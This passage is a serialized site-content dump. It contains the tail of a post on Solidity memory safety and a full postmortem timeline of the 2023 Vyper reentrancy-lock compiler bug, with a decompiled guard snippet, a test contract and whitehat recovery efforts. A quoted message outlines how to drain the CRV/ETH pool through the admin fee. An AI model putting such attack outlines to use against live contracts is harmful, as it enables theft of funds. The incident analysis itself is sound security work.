Effects",{"type":23,"tag":230,"props":32482,"children":32483},{"style":268},[32484],{"type":29,"value":16512},{"type":23,"tag":230,"props":32486,"children":32487},{"style":268},[32488],{"type":29,"value":15193},{"type":23,"tag":230,"props":32490,"children":32491},{"style":262},[32492],{"type":29,"value":32461},{"type":23,"tag":230,"props":32494,"children":32495},{"style":274},[32496],{"type":29,"value":312},{"type":23,"tag":230,"props":32498,"children":32499},{"style":294},[32500],{"type":29,"value":32470},{"type":23,"tag":230,"props":32502,"children":32503},{"style":274},[32504],{"type":29,"value":32475},{"type":23,"tag":230,"props":32506,"children":32507},{"style":262},[32508],{"type":29,"value":32509},"markedMemorySafe",{"type":23,"tag":230,"props":32511,"children":32512},{"style":274},[32513],{"type":29,"value":4516},{"type":23,"tag":230,"props":32515,"children":32516},{"class":232,"line":334},[32517,32522,32526,32531],{"type":23,"tag":230,"props":32518,"children":32519},{"style":262},[32520],{"type":29,"value":32521},"        m_context",{"type":23,"tag":230,"props":32523,"children":32524},{"style":274},[32525],{"type":29,"value":312},{"type":23,"tag":230,"props":32527,"children":32528},{"style":294},[32529],{"type":29,"value":32530},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":230,"props":32532,"children":32533},{"style":274},[32534],{"type":29,"value":2140},{"type":23,"tag":230,"props":32536,"children":32537},{"class":232,"line":371},[32538,32543,32547,32551,32556,32561,32565,32569,32573,32577,32582],{"type":23,"tag":230,"props":32539,"children":32540},{"style":274},[32541],{"type":29,"value":32542},"    CopyTranslate bodyCopier{",{"type":23,"tag":230,"props":32544,"children":32545},{"style":262},[32546],{"type":29,"value":32461},{"type":23,"tag":230,"props":32548,"children":32549},{"style":274},[32550],{"type":29,"value":312},{"type":23,"tag":230,"props":32552,"children":32553},{"style":294},[32554],{"type":29,"value":32555},"dialect",{"type":23,"tag":230,"props":32557,"children":32558},{"style":274},[32559],{"type":29,"value":32560},"(), m_context, ",{"type":23,"tag":230,"props":32562,"children":32563},{"style":262},[32564],{"type":29,"value":32461},{"type":23,"tag":230,"props":32566,"children":32567},{"style":274},[32568],{"type":29,"value":312},{"type":23,"tag":230,"props":32570,"children":32571},{"style":294},[32572],{"type":29,"value":32470},{"type":23,"tag":230,"props":32574,"children":32575},{"style":274},[32576],{"type":29,"value":32475},{"type":23,"tag":230,"props":32578,"children":32579},{"style":262},[32580],{"type":29,"value":32581},"externalReferences",{"type":23,"tag":230,"props":32583,"children":32584},{"style":274},[32585],{"type":29,"value":450},{"type":23,"tag":230,"props":32587,"children":32588},{"class":232,"line":391},[32589],{"type":23,"tag":230,"props":32590,"children":32591},{"emptyLinePlaceholder":18},[32592],{"type":29,"value":459},{"type":23,"tag":230,"props":32594,"children":32595},{"class":232,"line":400},[32596,32601,32605,32610,32614,32618,32622,32627],{"type":23,"tag":230,"props":32597,"children":32598},{"style":274},[32599],{"type":29,"value":32600},"    yul::Statement modified ",{"type":23,"tag":230,"props":32602,"children":32603},{"style":268},[32604],{"type":29,"value":863},{"type":23,"tag":230,"props":32606,"children":32607},{"style":294},[32608],{"type":29,"value":32609}," bodyCopier",{"type":23,"tag":230,"props":32611,"children":32612},{"style":274},[32613],{"type":29,"value":302},{"type":23,"tag":230,"props":32615,"children":32616},{"style":262},[32617],{"type":29,"value":32461},{"type":23,"tag":230,"props":32619,"children":32620},{"style":274},[32621],{"type":29,"value":312},{"type":23,"tag":230,"props":32623,"children":32624},{"style":294},[32625],{"type":29,"value":32626},"operations",{"type":23,"tag":230,"props":32628,"children":32629},{"style":274},[32630],{"type":29,"value":32631},"());`\n",{"type":23,"tag":144,"props":32633,"children":32634},{"start":243},[32635],{"type":23,"tag":102,"props":32636,"children":32637},{},[32638],{"type":29,"value":32639},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":32,"props":32641,"children":32642},{},[32643],{"type":29,"value":32644},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":24,"props":32646,"children":32647},{"id":7649},[32648],{"type":29,"value":7652},{"type":23,"tag":32,"props":32650,"children":32651},{},[32652],{"type":29,"value":32653},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":32,"props":32655,"children":32656},{},[32657],{"type":29,"value":32658},"It's a promise between YUL generation and optimization.",{"type":23,"tag":20741,"props":32660,"children":32662},{"className":32661,"dataFootnotes":7},[20744],[32663,32668],{"type":23,"tag":24,"props":32664,"children":32666},{"className":32665,"id":17805},[20749],[32667],{"type":29,"value":20752},{"type":23,"tag":144,"props":32669,"children":32670},{},[32671,32705],{"type":23,"tag":102,"props":32672,"children":32674},{"id":32673},"user-content-fn-1",[32675,32677,32682,32684,32690,32692,32697,32699],{"type":29,"value":32676},"As an interesting aside, ",{"type":23,"tag":71,"props":32678,"children":32680},{"className":32679},[],[32681],{"type":29,"value":31678},{"type":29,"value":32683}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":71,"props":32685,"children":32687},{"className":32686},[],[32688],{"type":29,"value":32689},"memory-unsafe",{"type":29,"value":32691}," code can ",{"type":23,"tag":2258,"props":32693,"children":32694},{},[32695],{"type":29,"value":32696},"decrease",{"type":29,"value":32698}," gas consumption, especially in the YUL header. ",{"type":23,"tag":181,"props":32700,"children":32703},{"href":32701,"ariaLabel":20855,"className":32702,"dataFootnoteBackref":7},"#user-content-fnref-1",[20857],[32704],{"type":29,"value":20860},{"type":23,"tag":102,"props":32706,"children":32708},{"id":32707},"user-content-fn-2",[32709,32711,32716,32718],{"type":29,"value":32710},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":2258,"props":32712,"children":32713},{},[32714],{"type":29,"value":32715},"guarantee",{"type":29,"value":32717}," behavior with opaque bytes. ",{"type":23,"tag":181,"props":32719,"children":32722},{"href":32720,"ariaLabel":20875,"className":32721,"dataFootnoteBackref":7},"#user-content-fnref-2",[20857],[32723],{"type":29,"value":20860},{"type":23,"tag":5178,"props":32725,"children":32726},{},[32727],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":32729},[32730,32731,32732,32733,32734,32735,32736],{"id":31322,"depth":243,"text":31325},{"id":31376,"depth":243,"text":31379},{"id":31640,"depth":243,"text":31643},{"id":31371,"depth":243,"text":31864},{"id":32210,"depth":243,"text":32213},{"id":7649,"depth":243,"text":7652},{"id":17805,"depth":243,"text":20752},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":32741,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32742,"description":32743,"author":8056,"image":32744,"date":32746,"isFeatured":18,"onBlogPage":18,"tags":32747,"body":32749,"_type":5202,"_id":33500,"_source":5204,"_file":33501,"_stem":33502,"_extension":5207},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":32745,"height":16,"width":16},"/posts/vyper-timeline/header.jpg","2023-08-01",[32748,31317],"vyper",{"type":20,"children":32750,"toc":33491},[32751,32756,32761,32766,32772,32777,32795,32805,32810,32818,32828,32847,32927,32937,33097,33102,33107,33117,33124,33129,33134,33148,33153,33170,33187,33206,33216,33229,33234,33247,33252,33257,33267,33294,33304,33334,33340,33349,33355,33360,33365,33370,33376,33381,33395,33400,33405,33410,33416,33421,33434,33460,33465,33487],{"type":23,"tag":32,"props":32752,"children":32753},{},[32754],{"type":29,"value":32755},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":32,"props":32757,"children":32758},{},[32759],{"type":29,"value":32760},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":32,"props":32762,"children":32763},{},[32764],{"type":29,"value":32765},"Here's how it all happened.",{"type":23,"tag":24,"props":32767,"children":32769},{"id":32768},"timeline",[32770],{"type":29,"value":32771},"Timeline",{"type":23,"tag":32,"props":32773,"children":32774},{},[32775],{"type":29,"value":32776},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":32,"props":32778,"children":32779},{},[32780,32785,32787,32794],{"type":23,"tag":2302,"props":32781,"children":32782},{},[32783],{"type":29,"value":32784},"13:10 UTC",{"type":29,"value":32786}," pETH/ETH was ",{"type":23,"tag":181,"props":32788,"children":32791},{"href":32789,"rel":32790},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[185],[32792],{"type":29,"value":32793},"drained of $11M",{"type":29,"value":312},{"type":23,"tag":32,"props":32796,"children":32797},{},[32798,32803],{"type":23,"tag":2302,"props":32799,"children":32800},{},[32801],{"type":29,"value":32802},"13:19 UTC",{"type":29,"value":32804}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":32,"props":32806,"children":32807},{},[32808],{"type":29,"value":32809},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":5272,"props":32811,"children":32812},{},[32813],{"type":23,"tag":32,"props":32814,"children":32815},{},[32816],{"type":29,"value":32817},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":32,"props":32819,"children":32820},{},[32821,32826],{"type":23,"tag":2302,"props":32822,"children":32823},{},[32824],{"type":29,"value":32825},"14:01 UTC",{"type":29,"value":32827}," A warroom was formed around this comment.",{"type":23,"tag":32,"props":32829,"children":32830},{},[32831,32836,32838,32845],{"type":23,"tag":2302,"props":32832,"children":32833},{},[32834],{"type":29,"value":32835},"14:07 UTC",{"type":29,"value":32837}," We decompiled the JPEGd contract ",{"type":23,"tag":181,"props":32839,"children":32842},{"href":32840,"rel":32841},"https://ethervm.io/decompile",[185],[32843],{"type":29,"value":32844},"with our favorite decompiler",{"type":29,"value":32846}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":220,"props":32848,"children":32852},{"className":32849,"code":32850,"language":32851,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[32853],{"type":23,"tag":71,"props":32854,"children":32855},{"__ignoreMap":7},[32856,32864,32872,32880,32888,32895,32903,32911,32919],{"type":23,"tag":230,"props":32857,"children":32858},{"class":232,"line":233},[32859],{"type":23,"tag":230,"props":32860,"children":32861},{},[32862],{"type":29,"value":32863},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":230,"props":32865,"children":32866},{"class":232,"line":243},[32867],{"type":23,"tag":230,"props":32868,"children":32869},{},[32870],{"type":29,"value":32871},"label_0057:\n",{"type":23,"tag":230,"props":32873,"children":32874},{"class":232,"line":252},[32875],{"type":23,"tag":230,"props":32876,"children":32877},{},[32878],{"type":29,"value":32879},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":230,"props":32881,"children":32882},{"class":232,"line":280},[32883],{"type":23,"tag":230,"props":32884,"children":32885},{},[32886],{"type":29,"value":32887},"    storage[0x00] = 0x01;\n",{"type":23,"tag":230,"props":32889,"children":32890},{"class":232,"line":334},[32891],{"type":23,"tag":230,"props":32892,"children":32893},{"emptyLinePlaceholder":18},[32894],{"type":29,"value":459},{"type":23,"tag":230,"props":32896,"children":32897},{"class":232,"line":371},[32898],{"type":23,"tag":230,"props":32899,"children":32900},{},[32901],{"type":29,"value":32902},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":230,"props":32904,"children":32905},{"class":232,"line":391},[32906],{"type":23,"tag":230,"props":32907,"children":32908},{},[32909],{"type":29,"value":32910},"label_1AF3:\n",{"type":23,"tag":230,"props":32912,"children":32913},{"class":232,"line":400},[32914],{"type":23,"tag":230,"props":32915,"children":32916},{},[32917],{"type":29,"value":32918},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":230,"props":32920,"children":32921},{"class":232,"line":444},[32922],{"type":23,"tag":230,"props":32923,"children":32924},{},[32925],{"type":29,"value":32926},"    storage[0x02] = 0x01;\n",{"type":23,"tag":32,"props":32928,"children":32929},{},[32930,32935],{"type":23,"tag":2302,"props":32931,"children":32932},{},[32933],{"type":29,"value":32934},"14:27 UTC",{"type":29,"value":32936}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":220,"props":32938,"children":32940},{"className":21777,"code":32939,"language":21776,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[32941],{"type":23,"tag":71,"props":32942,"children":32943},{"__ignoreMap":7},[32944,32952,32973,33008,33020,33027,33034,33053,33085],{"type":23,"tag":230,"props":32945,"children":32946},{"class":232,"line":233},[32947],{"type":23,"tag":230,"props":32948,"children":32949},{"style":294},[32950],{"type":29,"value":32951},"@external\n",{"type":23,"tag":230,"props":32953,"children":32954},{"class":232,"line":243},[32955,32960,32964,32969],{"type":23,"tag":230,"props":32956,"children":32957},{"style":294},[32958],{"type":29,"value":32959},"@nonreentrant",{"type":23,"tag":230,"props":32961,"children":32962},{"style":274},[32963],{"type":29,"value":302},{"type":23,"tag":230,"props":32965,"children":32966},{"style":380},[32967],{"type":29,"value":32968},"\"lock\"",{"type":23,"tag":230,"props":32970,"children":32971},{"style":274},[32972],{"type":29,"value":4516},{"type":23,"tag":230,"props":32974,"children":32975},{"class":232,"line":252},[32976,32981,32986,32990,32995,33000,33004],{"type":23,"tag":230,"props":32977,"children":32978},{"style":256},[32979],{"type":29,"value":32980},"def",{"type":23,"tag":230,"props":32982,"children":32983},{"style":294},[32984],{"type":29,"value":32985}," test",{"type":23,"tag":230,"props":32987,"children":32988},{"style":274},[32989],{"type":29,"value":302},{"type":23,"tag":230,"props":32991,"children":32992},{"style":262},[32993],{"type":29,"value":32994},"addr",{"type":23,"tag":230,"props":32996,"children":32997},{"style":274},[32998],{"type":29,"value":32999},": address) -> ",{"type":23,"tag":230,"props":33001,"children":33002},{"style":676},[33003],{"type":29,"value":31992},{"type":23,"tag":230,"props":33005,"children":33006},{"style":274},[33007],{"type":29,"value":4954},{"type":23,"tag":230,"props":33009,"children":33010},{"class":232,"line":280},[33011,33015],{"type":23,"tag":230,"props":33012,"children":33013},{"style":866},[33014],{"type":29,"value":4427},{"type":23,"tag":230,"props":33016,"children":33017},{"style":256},[33018],{"type":29,"value":33019}," True\n",{"type":23,"tag":230,"props":33021,"children":33022},{"class":232,"line":334},[33023],{"type":23,"tag":230,"props":33024,"children":33025},{"emptyLinePlaceholder":18},[33026],{"type":29,"value":459},{"type":23,"tag":230,"props":33028,"children":33029},{"class":232,"line":371},[33030],{"type":23,"tag":230,"props":33031,"children":33032},{"style":294},[33033],{"type":29,"value":32951},{"type":23,"tag":230,"props":33035,"children":33036},{"class":232,"line":391},[33037,33041,33045,33049],{"type":23,"tag":230,"props":33038,"children":33039},{"style":294},[33040],{"type":29,"value":32959},{"type":23,"tag":230,"props":33042,"children":33043},{"style":274},[33044],{"type":29,"value":302},{"type":23,"tag":230,"props":33046,"children":33047},{"style":380},[33048],{"type":29,"value":32968},{"type":23,"tag":230,"props":33050,"children":33051},{"style":274},[33052],{"type":29,"value":4516},{"type":23,"tag":230,"props":33054,"children":33055},{"class":232,"line":400},[33056,33060,33065,33069,33073,33077,33081],{"type":23,"tag":230,"props":33057,"children":33058},{"style":256},[33059],{"type":29,"value":32980},{"type":23,"tag":230,"props":33061,"children":33062},{"style":294},[33063],{"type":29,"value":33064}," test2",{"type":23,"tag":230,"props":33066,"children":33067},{"style":274},[33068],{"type":29,"value":302},{"type":23,"tag":230,"props":33070,"children":33071},{"style":262},[33072],{"type":29,"value":32994},{"type":23,"tag":230,"props":33074,"children":33075},{"style":274},[33076],{"type":29,"value":32999},{"type":23,"tag":230,"props":33078,"children":33079},{"style":676},[33080],{"type":29,"value":31992},{"type":23,"tag":230,"props":33082,"children":33083},{"style":274},[33084],{"type":29,"value":4954},{"type":23,"tag":230,"props":33086,"children":33087},{"class":232,"line":444},[33088,33092],{"type":23,"tag":230,"props":33089,"children":33090},{"style":866},[33091],{"type":29,"value":4427},{"type":23,"tag":230,"props":33093,"children":33094},{"style":256},[33095],{"type":29,"value":33096}," False\n",{"type":23,"tag":32,"props":33098,"children":33099},{},[33100],{"type":29,"value":33101},"This was not just another reentrancy bug.",{"type":23,"tag":32,"props":33103,"children":33104},{},[33105],{"type":29,"value":33106},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":32,"props":33108,"children":33109},{},[33110,33115],{"type":23,"tag":2302,"props":33111,"children":33112},{},[33113],{"type":29,"value":33114},"14:37 UTC",{"type":29,"value":33116}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":32,"props":33118,"children":33119},{},[33120],{"type":23,"tag":93,"props":33121,"children":33123},{"alt":7,"src":33122},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":32,"props":33125,"children":33126},{},[33127],{"type":29,"value":33128},"It was a race with the hackers.",{"type":23,"tag":32,"props":33130,"children":33131},{},[33132],{"type":29,"value":33133},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":5272,"props":33135,"children":33136},{},[33137],{"type":23,"tag":32,"props":33138,"children":33139},{},[33140,33142],{"type":29,"value":33141},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":181,"props":33143,"children":33146},{"href":33144,"rel":33145},"https://twitter.com/hexagate_/status/1685677801813217280",[185],[33147],{"type":29,"value":33144},{"type":23,"tag":32,"props":33149,"children":33150},{},[33151],{"type":29,"value":33152},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":32,"props":33154,"children":33155},{},[33156,33161,33162,33169],{"type":23,"tag":2302,"props":33157,"children":33158},{},[33159],{"type":29,"value":33160},"14:50 UTC",{"type":29,"value":3374},{"type":23,"tag":181,"props":33163,"children":33166},{"href":33164,"rel":33165},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[185],[33167],{"type":29,"value":33168},"msETH/ETH was drained",{"type":29,"value":312},{"type":23,"tag":32,"props":33171,"children":33172},{},[33173,33178,33179,33186],{"type":23,"tag":2302,"props":33174,"children":33175},{},[33176],{"type":29,"value":33177},"15:34 UTC",{"type":29,"value":3374},{"type":23,"tag":181,"props":33180,"children":33183},{"href":33181,"rel":33182},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[185],[33184],{"type":29,"value":33185},"alETH/ETH was drained",{"type":29,"value":312},{"type":23,"tag":32,"props":33188,"children":33189},{},[33190,33195,33197,33204],{"type":23,"tag":2302,"props":33191,"children":33192},{},[33193],{"type":29,"value":33194},"15:43 UTC",{"type":29,"value":33196}," We identified that ",{"type":23,"tag":181,"props":33198,"children":33201},{"href":33199,"rel":33200},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[185],[33202],{"type":29,"value":33203},"CRV/ETH was vulnerable",{"type":29,"value":33205},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":32,"props":33207,"children":33208},{},[33209,33214],{"type":23,"tag":2302,"props":33210,"children":33211},{},[33212],{"type":29,"value":33213},"16:11 UTC",{"type":29,"value":33215}," We began working on a whitehat exploit.",{"type":23,"tag":32,"props":33217,"children":33218},{},[33219,33221,33228],{"type":29,"value":33220},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":181,"props":33222,"children":33225},{"href":33223,"rel":33224},"https://twitter.com/vyperlang/status/1685692973051498497",[185],[33226],{"type":29,"value":33227},"public statement on affected versions",{"type":29,"value":312},{"type":23,"tag":32,"props":33230,"children":33231},{},[33232],{"type":29,"value":33233},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":32,"props":33235,"children":33236},{},[33237,33239,33246],{"type":29,"value":33238},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":181,"props":33240,"children":33243},{"href":33241,"rel":33242},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[185],[33244],{"type":29,"value":33245},"somebody else stole the funds",{"type":29,"value":312},{"type":23,"tag":32,"props":33248,"children":33249},{},[33250],{"type":29,"value":33251},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":32,"props":33253,"children":33254},{},[33255],{"type":29,"value":33256},"Nevertheless, there was more ground to cover.",{"type":23,"tag":32,"props":33258,"children":33259},{},[33260,33265],{"type":23,"tag":2302,"props":33261,"children":33262},{},[33263],{"type":29,"value":33264},"21:26 UTC",{"type":29,"value":33266}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":5272,"props":33268,"children":33269},{},[33270],{"type":23,"tag":32,"props":33271,"children":33272},{},[33273,33275,33279,33281,33284,33286,33289,33291],{"type":29,"value":33274},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":33276,"props":33277,"children":33278},"br",{},[],{"type":29,"value":33280},"\nyou can then update admin fee ",{"type":23,"tag":33276,"props":33282,"children":33283},{},[],{"type":29,"value":33285},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":33276,"props":33287,"children":33288},{},[],{"type":29,"value":33290},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":33276,"props":33292,"children":33293},{},[],{"type":23,"tag":32,"props":33295,"children":33296},{},[33297,33302],{"type":23,"tag":2302,"props":33298,"children":33299},{},[33300],{"type":29,"value":33301},"21:52 UTC",{"type":29,"value":33303}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":32,"props":33305,"children":33306},{},[33307,33309,33316,33318,33325,33333],{"type":29,"value":33308},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":181,"props":33310,"children":33313},{"href":33311,"rel":33312},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[185],[33314],{"type":29,"value":33315},"CRV admin fee bot",{"type":29,"value":33317}," had claimed fees and ",{"type":23,"tag":181,"props":33319,"children":33322},{"href":33320,"rel":33321},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[185],[33323],{"type":29,"value":33324},"the pool was drained",{"type":23,"tag":17798,"props":33326,"children":33327},{},[33328],{"type":23,"tag":181,"props":33329,"children":33331},{"href":31931,"ariaDescribedBy":33330,"dataFootnoteRef":7,"id":31933},[17805],[33332],{"type":29,"value":6348},{"type":29,"value":312},{"type":23,"tag":24,"props":33335,"children":33337},{"id":33336},"blame",[33338],{"type":29,"value":33339},"Blame",{"type":23,"tag":32,"props":33341,"children":33342},{},[33343,33347],{"type":23,"tag":2258,"props":33344,"children":33345},{},[33346],{"type":29,"value":33339},{"type":29,"value":33348}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":59,"props":33350,"children":33352},{"id":33351},"races",[33353],{"type":29,"value":33354},"Races",{"type":23,"tag":32,"props":33356,"children":33357},{},[33358],{"type":29,"value":33359},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":32,"props":33361,"children":33362},{},[33363],{"type":29,"value":33364},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":32,"props":33366,"children":33367},{},[33368],{"type":29,"value":33369},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":59,"props":33371,"children":33373},{"id":33372},"information-leakage",[33374],{"type":29,"value":33375},"Information Leakage",{"type":23,"tag":32,"props":33377,"children":33378},{},[33379],{"type":29,"value":33380},"I was both an auditor and a whitehat.",{"type":23,"tag":32,"props":33382,"children":33383},{},[33384,33386,33393],{"type":29,"value":33385},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":181,"props":33387,"children":33390},{"href":33388,"rel":33389},"https://twitter.com/osec_io/status/1579969927020412929",[185],[33391],{"type":29,"value":33392},"by publishing the \"scoop\"",{"type":29,"value":33394}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":32,"props":33396,"children":33397},{},[33398],{"type":29,"value":33399},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":32,"props":33401,"children":33402},{},[33403],{"type":29,"value":33404},"Half an hour more could have saved $18M.",{"type":23,"tag":32,"props":33406,"children":33407},{},[33408],{"type":29,"value":33409},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":24,"props":33411,"children":33413},{"id":33412},"next-steps",[33414],{"type":29,"value":33415},"Next Steps",{"type":23,"tag":32,"props":33417,"children":33418},{},[33419],{"type":29,"value":33420},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":32,"props":33422,"children":33423},{},[33424,33426,33433],{"type":29,"value":33425},"It's important to note that this bug ",{"type":23,"tag":181,"props":33427,"children":33430},{"href":33428,"rel":33429},"https://twitter.com/real_philogy/status/1685948253139857409",[185],[33431],{"type":29,"value":33432},"was patched since November 2021",{"type":29,"value":312},{"type":23,"tag":5272,"props":33435,"children":33436},{},[33437],{"type":23,"tag":32,"props":33438,"children":33439},{},[33440,33442,33447,33448,33451,33453,33458],{"type":29,"value":33441},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":2258,"props":33443,"children":33444},{},[33445],{"type":29,"value":33446},"processes",{"type":29,"value":20851},{"type":23,"tag":33276,"props":33449,"children":33450},{},[],{"type":29,"value":33452},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":2258,"props":33454,"children":33455},{},[33456],{"type":29,"value":33457},"was",{"type":29,"value":33459}," fixed.",{"type":23,"tag":32,"props":33461,"children":33462},{},[33463],{"type":29,"value":33464},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":20741,"props":33466,"children":33468},{"className":33467,"dataFootnotes":7},[20744],[33469,33474],{"type":23,"tag":24,"props":33470,"children":33472},{"className":33471,"id":17805},[20749],[33473],{"type":29,"value":20752},{"type":23,"tag":144,"props":33475,"children":33476},{},[33477],{"type":23,"tag":102,"props":33478,"children":33479},{"id":32673},[33480,33482],{"type":29,"value":33481},"Thankfully, these funds were later returned. ",{"type":23,"tag":181,"props":33483,"children":33485},{"href":32701,"ariaLabel":20855,"className":33484,"dataFootnoteBackref":7},[20857],[33486],{"type":29,"value":20860},{"type":23,"tag":5178,"props":33488,"children":33489},{},[33490],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":33492},[33493,33494,33498,33499],{"id":32768,"depth":243,"text":32771},{"id":33336,"depth":243,"text":33339,"children":33495},[33496,33497],{"id":33351,"depth":252,"text":33354},{"id":33372,"depth":252,"text":33375},{"id":33412,"depth":243,"text":33415},{"id":17805,"depth":243,"text":20752},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":33504,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33505,"description":33506,"author":33507,"image":33508,"date":33510,"isFeatured":18,"tags":33511,"onBlogPage":18,"body":33514,"_type":5202,"_id":37704,"_source":5204,"_file":37705,"_stem":37706,"_extension":5207},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various 